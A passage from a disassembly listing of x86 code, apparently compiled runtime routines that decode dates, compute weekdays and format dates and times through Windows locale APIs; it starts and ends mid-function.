		lea	eax, [ebp+var_18]
		call	sub_40008F04
		mov	ecx, [ebp+var_14]
		test	ecx, ecx
		jg	short loc_40009169
		mov	eax, [ebp+var_4]
		mov	word ptr [eax],	0
		mov	eax, [ebp+var_8]
		mov	word ptr [eax],	0
		mov	eax, [ebp+var_C]
		mov	word ptr [eax],	0
		mov	word ptr [ebx],	0
		xor	edx, edx
		jmp	loc_4000925B
; ---------------------------------------------------------------------------


loc_40009169:				; CODE XREF: sub_4000911C+27j
		mov	eax, ecx
		mov	esi, 7
		cdq
		idiv	esi
		inc	edx
		mov	[ebx], dx
		dec	ecx
		mov	bx, 1
		cmp	ecx, 23AB1h
		jl	short loc_40009197


loc_40009184:				; CODE XREF: sub_4000911C+79j
		sub	ecx, 23AB1h
		add	bx, 190h
		cmp	ecx, 23AB1h
		jge	short loc_40009184


loc_40009197:				; CODE XREF: sub_4000911C+66j
		lea	eax, [ebp+var_E]
		push	eax
		lea	eax, [ebp+var_10]
		mov	dx, 8EACh
		xchg	eax, ecx
		call	sub_4000797C
		cmp	[ebp+var_10], 4
		jnz	short loc_400091B9
		dec	[ebp+var_10]
		add	[ebp+var_E], 8EACh


loc_400091B9:				; CODE XREF: sub_4000911C+91j
		imul	ax, [ebp+var_10], 64h
		add	bx, ax
		lea	eax, [ebp+var_E]
		push	eax
		lea	ecx, [ebp+var_10]
		movzx	eax, [ebp+var_E]
		mov	dx, 5B5h
		call	sub_4000797C
		movzx	eax, [ebp+var_10]
		add	eax, eax
		add	eax, eax
		add	bx, ax
		lea	eax, [ebp+var_E]
		push	eax
		lea	ecx, [ebp+var_10]
		movzx	eax, [ebp+var_E]
		mov	dx, 16Dh
		call	sub_4000797C
		cmp	[ebp+var_10], 4
		jnz	short loc_40009205
		dec	[ebp+var_10]
		add	[ebp+var_E], 16Dh


loc_40009205:				; CODE XREF: sub_4000911C+DDj
		add	bx, [ebp+var_10]
		mov	eax, ebx
		call	sub_40009014
		mov	edx, eax
		movzx	eax, dl
		lea	eax, [eax+eax*2]
		lea	esi, dword_4001A7FC[eax*8]
		mov	ax, 1


loc_40009223:				; CODE XREF: sub_4000911C+126j
		movzx	ecx, ax
		movzx	ecx, word ptr [esi+ecx*2-2]
		mov	[ebp+var_10], cx
		movzx	ecx, [ebp+var_E]
		cmp	cx, [ebp+var_10]
		jb	short loc_40009244
		movzx	ecx, [ebp+var_10]
		sub	[ebp+var_E], cx
		inc	eax
		jmp	short loc_40009223
; ---------------------------------------------------------------------------


loc_40009244:				; CODE XREF: sub_4000911C+11Bj
		mov	ecx, [ebp+var_4]
		mov	[ecx], bx
		mov	ecx, [ebp+var_8]
		mov	[ecx], ax
		movzx	eax, [ebp+var_E]
		inc	eax
		mov	ecx, [ebp+var_C]
		mov	[ecx], ax


loc_4000925B:				; CODE XREF: sub_4000911C+48j
		mov	eax, edx
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	0Ch
sub_4000911C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_40009268(double)

sub_40009268	proc near		; CODE XREF: sub_4000939C+2Ap

var_2		= dword	ptr -2
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, eax
		push	dword ptr [ebp+arg_0+4]
		push	dword ptr [ebp+arg_0] ;	double
		lea	eax, [ebp+var_2]
		push	eax		; int
		mov	eax, esi
		call	sub_4000911C
		pop	esi
		pop	ecx
		pop	ebp
		retn	8
sub_40009268	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_40009288(double)

sub_40009288	proc near		; CODE XREF: sub_400096A8+2B3p
					; sub_400096A8+2DAp ...

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	dword ptr [ebp+arg_0+4]
		push	dword ptr [ebp+arg_0] ;	double
		lea	eax, [ebp+var_8]
		call	sub_40008F04
		mov	eax, [ebp+var_4]
		mov	ecx, 7
		cdq
		idiv	ecx
		mov	eax, edx
		inc	eax
		pop	ecx
		pop	ecx
		pop	ebp
		retn	8
sub_40009288	endp


; =============== S U B	R O U T	I N E =======================================



sub_400092B0	proc near		; CODE XREF: sub_4000A170+14p
					; sub_4000A1CC+1A5p ...

var_10		= word ptr -10h

		add	esp, 0FFFFFFF0h
		push	esp
		call	sub_40006588	; GetLocalTime
		movzx	eax, [esp+10h+var_10]
		add	esp, 10h
		retn
sub_400092B0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_400092C4	proc near		; CODE XREF: sub_40009308+12p
					; sub_40009324+3Dp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ecx, [ebp+arg_0]
		mov	ebx, 100h
		sub	ebx, [ecx-104h]
		cmp	edx, ebx
		jge	short loc_400092DC
		mov	ebx, edx


loc_400092DC:				; CODE XREF: sub_400092C4+14j
		test	ebx, ebx
		jz	short loc_400092FA
		mov	edx, [ebp+arg_0]
		mov	edx, [edx-104h]
		mov	ecx, [ebp+arg_0]
		lea	edx, [ecx+edx-100h]
		mov	ecx, ebx
		call	sub_40002DFC


loc_400092FA:				; CODE XREF: sub_400092C4+1Aj
		mov	eax, [ebp+arg_0]
		add	[eax-104h], ebx
		pop	ebx
		pop	ebp
		retn
sub_400092C4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40009308	proc near		; CODE XREF: sub_400096A8+1D2p
					; sub_400096A8+1FFp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	edx, eax
		test	edx, edx
		jz	short loc_40009316
		sub	edx, 4
		mov	edx, [edx]


loc_40009316:				; CODE XREF: sub_40009308+7j
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_400092C4
		pop	ecx
		pop	ebp
		retn
sub_40009308	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40009324	proc near		; CODE XREF: sub_400096A8+18Dp
					; sub_400096A8+1A5p ...

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE0h
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		push	eax
		push	4
		mov	[ebp+var_20], esi
		mov	[ebp+var_1C], 0
		mov	[ebp+var_18], ebx
		mov	[ebp+var_14], 0
		lea	eax, [ebp+var_20]
		push	eax
		push	1
		mov	ecx, offset dword_4001A880
		lea	eax, [ebp+var_10]
		mov	edx, 10h
		call	sub_40008314
		mov	edx, eax
		lea	eax, [ebp+var_10]
		call	sub_400092C4
		pop	ecx
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40009324	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40009370	proc near		; CODE XREF: sub_400096A8+162p
					; sub_400096A8+1B1p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	eax, [ebp+arg_0]
		add	eax, 0FFFFFFFCh
		mov	edx, [eax]
		jmp	short loc_40009380
; ---------------------------------------------------------------------------


loc_4000937E:				; CODE XREF: sub_40009370+1Bj
		inc	dword ptr [eax]


loc_40009380:				; CODE XREF: sub_40009370+Cj
		mov	ecx, [eax]
		movzx	ecx, byte ptr [ecx]
		mov	ebx, [ebp+arg_0]
		cmp	cl, [ebx-5]
		jz	short loc_4000937E
		mov	eax, [eax]
		sub	eax, edx
		inc	eax
		mov	edx, [ebp+arg_0]
		mov	[edx-0Ch], eax
		pop	ebx
		pop	ebp
		retn
sub_40009370	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000939C	proc near		; CODE XREF: sub_400096A8+169p
					; sub_400096A8+1B8p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax-13h], 0
		jnz	short loc_400093D2
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+8]
		push	dword ptr [eax+0Ch]
		push	dword ptr [eax+8] ; double
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax-12h]
		mov	eax, [ebp+arg_0]
		lea	edx, [eax-10h]
		mov	eax, [ebp+arg_0]
		add	eax, 0FFFFFFF2h
		call	sub_40009268
		mov	eax, [ebp+arg_0]
		mov	byte ptr [eax-13h], 1


loc_400093D2:				; CODE XREF: sub_4000939C+Aj
		pop	ebp
		retn
sub_4000939C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_400093D4	proc near		; CODE XREF: sub_400096A8+324p
					; sub_400096A8+428p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax-1Dh], 0
		jnz	short loc_40009411
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+8]
		push	dword ptr [eax+0Ch]
		push	dword ptr [eax+8] ; double
		mov	eax, [ebp+arg_0]
		add	eax, 0FFFFFFE4h
		push	eax		; int
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax-1Ah]
		mov	eax, [ebp+arg_0]
		lea	edx, [eax-18h]
		mov	eax, [ebp+arg_0]
		add	eax, 0FFFFFFEAh
		call	sub_40008FB8
		mov	eax, [ebp+arg_0]
		mov	byte ptr [eax-1Dh], 1


loc_40009411:				; CODE XREF: sub_400093D4+Aj
		pop	ebp
		retn
sub_400093D4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40009414	proc near		; CODE XREF: sub_400096A8+1C9p

var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= byte ptr -114h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_E		= word ptr -0Eh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEE4h
		push	ebx
		push	esi
		xor	ecx, ecx
		mov	[ebp+var_11C], ecx
		mov	[ebp+var_4], ecx
		mov	ebx, edx
		mov	esi, eax
		xor	eax, eax
		push	ebp
		push	offset loc_40009576
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, ebx
		call	sub_40004884
		mov	eax, [ebp+arg_0]
		movzx	eax, word ptr [eax-0Eh]
		mov	[ebp+var_14], ax
		mov	eax, [ebp+arg_0]
		movzx	eax, word ptr [eax-10h]
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		movzx	eax, word ptr [eax-12h]
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_4]
		mov	edx, offset dword_4000958C
		call	sub_4000491C
		push	100h
		lea	eax, [ebp+var_114]
		push	eax
		mov	eax, [ebp+var_4]
		call	sub_40004D48
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	4
		call	sub_400065C8	; GetThreadLocale
		push	eax
		call	sub_40006568	; GetDateFormatA
		test	eax, eax
		jz	loc_40009555
		mov	eax, ebx
		lea	edx, [ebp+var_114]
		mov	ecx, 100h
		call	sub_40004AF4
		dec	esi
		jnz	loc_40009555
		mov	eax, ds:dword_4001E8CC
		sub	eax, 4
		jz	short loc_400094E8
		sub	eax, 0Dh
		jnz	loc_40009555
		push	ebx
		mov	eax, [ebx]
		mov	edx, 1
		call	sub_4000BAF0
		mov	ecx, eax
		mov	eax, [ebx]
		mov	edx, 1
		call	sub_40004DA8
		jmp	short loc_40009555
; ---------------------------------------------------------------------------


loc_400094E8:				; CODE XREF: sub_40009414+ACj
		cmp	ds:dword_4001E8D0, 1
		jnz	short loc_40009555
		mov	eax, [ebx]
		mov	[ebp+var_118], eax
		mov	esi, [ebp+var_118]
		test	esi, esi
		jz	short loc_40009508
		sub	esi, 4
		mov	esi, [esi]


loc_40009508:				; CODE XREF: sub_40009414+EDj
		mov	eax, [ebx]
		mov	edx, esi
		call	sub_4000B950
		cmp	eax, 4
		jnz	short loc_40009555
		mov	eax, [ebx]
		mov	edx, 3
		call	sub_4000BA6C
		mov	esi, eax
		lea	eax, [ebp+var_114]
		add	esi, eax
		dec	esi
		lea	eax, [ebp+var_11C]
		mov	edx, esi
		call	sub_40004A7C
		mov	eax, [ebp+var_11C]
		mov	edx, 2
		call	sub_4000BAF0
		mov	ecx, eax
		mov	eax, ebx
		mov	edx, esi
		call	sub_40004974


loc_40009555:				; CODE XREF: sub_40009414+85j
					; sub_40009414+9Ej ...
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000957D


loc_40009562:				; CODE XREF: sub_40009414+167j
		lea	eax, [ebp+var_11C]
		call	sub_40004884
		lea	eax, [ebp+var_4]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_40009576:				; DATA XREF: sub_40009414+1Do
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40009562
; ---------------------------------------------------------------------------


loc_4000957D:				; CODE XREF: sub_40009414+161j
					; DATA XREF: sub_40009414+149o
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40009414	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 2
dword_4000958C	dd 6767h	
; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40009590	proc near		; CODE XREF: sub_400096A8+1F6p

var_118		= dword	ptr -118h
var_114		= byte ptr -114h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_E		= word ptr -0Eh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEE8h
		push	ebx
		push	esi
		xor	ecx, ecx
		mov	[ebp+var_4], ecx
		mov	ebx, edx
		mov	esi, eax
		xor	eax, eax
		push	ebp
		push	offset loc_4000967E
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, ebx
		call	sub_40004884
		mov	eax, [ebp+arg_0]
		movzx	eax, word ptr [eax-0Eh]
		mov	[ebp+var_14], ax
		mov	eax, [ebp+arg_0]
		movzx	eax, word ptr [eax-10h]
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		movzx	eax, word ptr [eax-12h]
		mov	[ebp+var_E], ax
		cmp	esi, 2
		jg	short loc_400095EE
		lea	eax, [ebp+var_4]
		mov	edx, offset dword_40009694
		call	sub_4000491C
		jmp	short loc_400095FB
; ---------------------------------------------------------------------------


loc_400095EE:				; CODE XREF: sub_40009590+4Dj
		lea	eax, [ebp+var_4]
		mov	edx, offset aYyyy ; "yyyy"
		call	sub_4000491C


loc_400095FB:				; CODE XREF: sub_40009590+5Cj
		push	100h
		lea	eax, [ebp+var_114]
		push	eax
		mov	eax, [ebp+var_4]
		call	sub_40004D48
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	4
		call	sub_400065C8	; GetThreadLocale
		push	eax
		call	sub_40006568	; GetDateFormatA
		test	eax, eax
		jz	short loc_40009668
		mov	eax, ebx
		lea	edx, [ebp+var_114]
		mov	ecx, 100h
		call	sub_40004AF4
		dec	esi
		jnz	short loc_40009668
		mov	eax, [ebx]
		cmp	byte ptr [eax],	30h
		jnz	short loc_40009668
		mov	eax, [ebx]
		mov	[ebp+var_118], eax
		mov	esi, [ebp+var_118]
		test	esi, esi
		jz	short loc_40009658
		sub	esi, 4
		mov	esi, [esi]


loc_40009658:				; CODE XREF: sub_40009590+C1j
		push	ebx
		mov	ecx, esi
		dec	ecx
		mov	eax, [ebx]
		mov	edx, 2
		call	sub_40004DA8


loc_40009668:				; CODE XREF: sub_40009590+93j
					; sub_40009590+A8j ...
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40009685


loc_40009675:				; CODE XREF: sub_40009590+F3j
		lea	eax, [ebp+var_4]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_4000967E:				; DATA XREF: sub_40009590+17o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40009675
; ---------------------------------------------------------------------------


loc_40009685:				; CODE XREF: sub_40009590+EDj
					; DATA XREF: sub_40009590+E0o
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40009590	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 2
dword_40009694	dd 7979h, 0FFFFFFFFh, 4aYyyy		db 'yyyy',0             ; DATA XREF: sub_40009590+61o
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_400096A8	proc near		; CODE XREF: sub_400096A8+2FDp
					; sub_400096A8+311p ...

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1F		= byte ptr -1Fh
var_1E		= byte ptr -1Eh
var_1D		= byte ptr -1Dh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= word ptr -18h
var_16		= word ptr -16h
var_13		= byte ptr -13h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD4h
		push	ebx
		push	esi
		push	edi
		xor	edx, edx
		mov	[ebp+var_2C], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_4], eax
		lea	edi, [ebp+var_4]
		xor	eax, eax
		push	ebp
		push	offset loc_40009E2C
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		cmp	dword ptr [edi], 0
		jz	loc_40009E11
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax-108h], 2
		jge	loc_40009E11
		mov	eax, [ebp+arg_0]
		inc	dword ptr [eax-108h]
		mov	[ebp+var_1E], 20h
		mov	[ebp+var_13], 0
		mov	[ebp+var_1D], 0
		mov	[ebp+var_1F], 0
		jmp	loc_40009DFD
; ---------------------------------------------------------------------------


loc_40009704:				; CODE XREF: sub_400096A8+75Aj
		mov	eax, [edi]
		movzx	eax, byte ptr [eax]
		mov	[ebp+var_5], al
		movzx	eax, [ebp+var_5]
		movzx	eax, al
		bt	dword_4001A82C,	eax
		jnb	short loc_40009743
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, [edi]
		call	sub_4000BB60
		mov	edx, eax
		mov	eax, [edi]
		call	sub_400092C4
		pop	ecx
		mov	eax, [edi]
		call	sub_4000BB80
		mov	[edi], eax
		mov	[ebp+var_1E], 20h
		jmp	loc_40009DFD
; ---------------------------------------------------------------------------


loc_40009743:				; CODE XREF: sub_400096A8+72j
		mov	eax, [edi]
		call	sub_4000BB80
		mov	[edi], eax
		movzx	ebx, [ebp+var_5]
		mov	eax, ebx
		add	al, 9Fh
		sub	al, 1Ah
		jnb	short loc_4000975B
		sub	bl, 20h


loc_4000975B:				; CODE XREF: sub_400096A8+AEj
		mov	eax, ebx
		add	al, 0BFh
		sub	al, 1Ah
		jnb	short loc_40009773
		cmp	bl, 4Dh
		jnz	short loc_40009770
		cmp	[ebp+var_1E], 48h
		jnz	short loc_40009770
		mov	bl, 4Eh


loc_40009770:				; CODE XREF: sub_400096A8+BEj
					; sub_400096A8+C4j
		mov	[ebp+var_1E], bl


loc_40009773:				; CODE XREF: sub_400096A8+B9j
		movzx	eax, bl
		add	eax, 0FFFFFFDEh
		cmp	eax, 38h	; switch 57 cases
		ja	loc_40009DEB	; default
					; jumptable 40009789 cases 1-4,6-12,14-23,25-30,32,36,39-42,45-48,51-54
		movzx	eax, ds:byte_40009790[eax]
		jmp	ds:off_400097C9[eax*4] ; switch	jump
; ---------------------------------------------------------------------------
byte_40009790	db    0Fh,     0,     0,     0 ; DATA XREF: sub_400096A8+DAr
		db	0,   0Fh,     0,     0 ; indirect table	for switch statement
		db	0,     0,     0,     0
		db	0,   0Dh,     0,     0
		db	0,     0,     0,     0
		db	0,     0,     0,     0
		db    0Eh,     0,     0,     0
		db	0,     0,     0,   0Bh
		db	0,   0Ch,     5,     3
		db	0,     2,     6,     0
		db	0,     0,     0,     4
		db	7,     0,     0,     0
		db	0,     8,     9,     0
		db	0,     0,     0,     1
		db    0Ah
off_400097C9	dd offset loc_40009DEB,	offset loc_40009809, offset loc_40009858
					; DATA XREF: sub_400096A8+E1r
		dd offset loc_40009885,	offset loc_400098B2, offset loc_40009917 ; jump	table for switch statement
		dd offset loc_400099C4,	offset loc_40009AC8, offset loc_40009AF9
		dd offset loc_40009B2A,	offset loc_40009B5F, offset loc_40009B90
		dd offset loc_40009CFD,	offset loc_40009D5B, offset loc_40009D7E
		dd offset loc_40009D9D
; ---------------------------------------------------------------------------


loc_40009809:				; CODE XREF: sub_400096A8+E1j
					; DATA XREF: sub_400096A8:off_400097C9o
		push	ebp		; jumptable 40009789 case 55
		call	sub_40009370
		pop	ecx
		push	ebp
		call	sub_4000939C
		pop	ecx
		cmp	[ebp+var_C], 2
		jg	short loc_40009840
		mov	eax, [ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_E]
		mov	ecx, 64h
		xor	edx, edx
		div	ecx
		mov	eax, edx
		mov	edx, 2
		call	sub_40009324
		pop	ecx
		jmp	loc_40009DFD
; ---------------------------------------------------------------------------


loc_40009840:				; CODE XREF: sub_400096A8+173j
		mov	eax, [ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_E]
		mov	edx, 4
		call	sub_40009324
		pop	ecx
		jmp	loc_40009DFD
; ---------------------------------------------------------------------------


loc_40009858:				; CODE XREF: sub_400096A8+E1j
					; DATA XREF: sub_400096A8:off_400097C9o
		push	ebp		; jumptable 40009789 case 37
		call	sub_40009370
		pop	ecx
		push	ebp
		call	sub_4000939C
		pop	ecx
		mov	eax, [ebp+arg_0]
		push	eax
		push	ebp
		lea	edx, [ebp+var_28]
		mov	eax, [ebp+var_C]
		call	sub_40009414
		pop	ecx
		mov	eax, [ebp+var_28]
		call	sub_40009308
		pop	ecx
		jmp	loc_40009DFD
; ---------------------------------------------------------------------------


loc_40009885:				; CODE XREF: sub_400096A8+E1j
					; DATA XREF: sub_400096A8:off_400097C9o
		push	ebp		; jumptable 40009789 case 35
		call	sub_40009370
		pop	ecx
		push	ebp
		call	sub_4000939C
		pop	ecx
		mov	eax, [ebp+arg_0]
		push	eax
		push	ebp
		lea	edx, [ebp+var_2C]
		mov	eax, [ebp+var_C]
		call	sub_40009590
		pop	ecx
		mov	eax, [ebp+var_2C]
		call	sub_40009308
		pop	ecx
		jmp	loc_40009DFD
; ---------------------------------------------------------------------------


loc_400098B2:				; CODE XREF: sub_400096A8+E1j
					; DATA XREF: sub_400096A8:off_400097C9o
		push	ebp		; jumptable 40009789 case 43
		call	sub_40009370
		pop	ecx
		push	ebp
		call	sub_4000939C
		pop	ecx
		mov	eax, [ebp+var_C]
		dec	eax
		sub	eax, 2
		jb	short loc_400098CD
		jz	short loc_400098E3
		jmp	short loc_400098FD
; ---------------------------------------------------------------------------


loc_400098CD:				; CODE XREF: sub_400096A8+21Fj
		mov	eax, [ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_10]
		mov	edx, [ebp+var_C]
		call	sub_40009324
		pop	ecx
		jmp	loc_40009DFD
; ---------------------------------------------------------------------------


loc_400098E3:				; CODE XREF: sub_400096A8+221j
		mov	eax, [ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_10]
		mov	eax, ds:dword_4001E82C[eax*4]
		call	sub_40009308
		pop	ecx
		jmp	loc_40009DFD
; ---------------------------------------------------------------------------


loc_400098FD:				; CODE XREF: sub_400096A8+223j
		mov	eax, [ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_10]
		mov	eax, ds:dword_4001E85C[eax*4]
		call	sub_40009308
		pop	ecx
		jmp	loc_40009DFD
; ---------------------------------------------------------------------------


loc_40009917:				; CODE XREF: sub_400096A8+E1j
					; DATA XREF: sub_400096A8:off_400097C9o
		push	ebp		; jumptable 40009789 case 34
		call	sub_40009370
		pop	ecx
		mov	eax, [ebp+var_C]
		dec	eax
		sub	eax, 2
		jb	short loc_40009931
		jz	short loc_4000994E
		dec	eax
		jz	short loc_40009975
		dec	eax
		jz	short loc_4000999C
		jmp	short loc_400099B0
; ---------------------------------------------------------------------------


loc_40009931:				; CODE XREF: sub_400096A8+27Dj
		push	ebp
		call	sub_4000939C
		pop	ecx
		mov	eax, [ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_12]
		mov	edx, [ebp+var_C]
		call	sub_40009324
		pop	ecx
		jmp	loc_40009DFD
; ---------------------------------------------------------------------------


loc_4000994E:				; CODE XREF: sub_400096A8+27Fj
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+0Ch]
		push	dword ptr [eax+8] ; double
		call	sub_40009288
		movzx	eax, ax
		mov	eax, ds:dword_4001E88C[eax*4]
		call	sub_40009308
		pop	ecx
		jmp	loc_40009DFD
; ---------------------------------------------------------------------------


loc_40009975:				; CODE XREF: sub_400096A8+282j
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+0Ch]
		push	dword ptr [eax+8] ; double
		call	sub_40009288
		movzx	eax, ax
		mov	eax, ds:dword_4001E8A8[eax*4]
		call	sub_40009308
		pop	ecx
		jmp	loc_40009DFD
; ---------------------------------------------------------------------------


loc_4000999C:				; CODE XREF: sub_400096A8+285j
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, ds:dword_4001E814
		call	sub_400096A8
		pop	ecx
		jmp	loc_40009DFD
; ---------------------------------------------------------------------------


loc_400099B0:				; CODE XREF: sub_400096A8+287j
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, ds:dword_4001E818
		call	sub_400096A8
		pop	ecx
		jmp	loc_40009DFD
; ---------------------------------------------------------------------------


loc_400099C4:				; CODE XREF: sub_400096A8+E1j
					; DATA XREF: sub_400096A8:off_400097C9o
		push	ebp		; jumptable 40009789 case 38
		call	sub_40009370
		pop	ecx
		push	ebp
		call	sub_400093D4
		pop	ecx
		mov	[ebp+var_20], 0
		mov	esi, [edi]
		jmp	loc_40009A73
; ---------------------------------------------------------------------------


loc_400099DD:				; CODE XREF: sub_400096A8+3CEj
		movzx	eax, byte ptr [esi]
		movzx	eax, al
		bt	dword_4001A82C,	eax
		jnb	short loc_400099F7
		mov	eax, esi
		call	sub_4000BB80
		mov	esi, eax
		jmp	short loc_40009A73
; ---------------------------------------------------------------------------


loc_400099F7:				; CODE XREF: sub_400096A8+342j
		movzx	eax, byte ptr [esi]
		cmp	eax, 48h
		jg	short loc_40009A12
		jz	short loc_40009A7C
		sub	eax, 22h
		jz	short loc_40009A69
		sub	eax, 5
		jz	short loc_40009A69
		sub	eax, 1Ah
		jz	short loc_40009A1E
		jmp	short loc_40009A72
; ---------------------------------------------------------------------------


loc_40009A12:				; CODE XREF: sub_400096A8+355j
		sub	eax, 61h
		jz	short loc_40009A1E
		sub	eax, 7
		jz	short loc_40009A7C
		jmp	short loc_40009A72
; ---------------------------------------------------------------------------


loc_40009A1E:				; CODE XREF: sub_400096A8+366j
					; sub_400096A8+36Dj
		cmp	[ebp+var_20], 0
		jnz	short loc_40009A72
		mov	edx, offset dword_40009E3C
		mov	ecx, 5
		mov	eax, esi
		call	sub_400081E0
		test	eax, eax
		jz	short loc_40009A63
		mov	edx, offset dword_40009E44
		mov	ecx, 3
		mov	eax, esi
		call	sub_400081E0
		test	eax, eax
		jz	short loc_40009A63
		mov	edx, offset aAmpm ; "AMPM"
		mov	ecx, 4
		mov	eax, esi
		call	sub_400081E0
		test	eax, eax
		jnz	short loc_40009A7C


loc_40009A63:				; CODE XREF: sub_400096A8+38Fj
					; sub_400096A8+3A4j
		mov	[ebp+var_1F], 1
		jmp	short loc_40009A7C
; ---------------------------------------------------------------------------


loc_40009A69:				; CODE XREF: sub_400096A8+35Cj
					; sub_400096A8+361j
		movzx	eax, [ebp+var_20]
		xor	al, 1
		mov	[ebp+var_20], al


loc_40009A72:				; CODE XREF: sub_400096A8+368j
					; sub_400096A8+374j ...
		inc	esi


loc_40009A73:				; CODE XREF: sub_400096A8+330j
					; sub_400096A8+34Dj
		cmp	byte ptr [esi],	0
		jnz	loc_400099DD


loc_40009A7C:				; CODE XREF: sub_400096A8+357j
					; sub_400096A8+372j ...
		movzx	eax, [ebp+var_16]
		mov	[ebp+var_22], ax
		cmp	[ebp+var_1F], 0
		jz	short loc_40009AA5
		cmp	[ebp+var_22], 0
		jnz	short loc_40009A99
		mov	[ebp+var_22], 0Ch
		jmp	short loc_40009AA5
; ---------------------------------------------------------------------------


loc_40009A99:				; CODE XREF: sub_400096A8+3E7j
		cmp	[ebp+var_22], 0Ch
		jbe	short loc_40009AA5
		sub	[ebp+var_22], 0Ch


loc_40009AA5:				; CODE XREF: sub_400096A8+3E0j
					; sub_400096A8+3EFj ...
		cmp	[ebp+var_C], 2
		jle	short loc_40009AB2
		mov	[ebp+var_C], 2


loc_40009AB2:				; CODE XREF: sub_400096A8+401j
		mov	eax, [ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_22]
		mov	edx, [ebp+var_C]
		call	sub_40009324
		pop	ecx
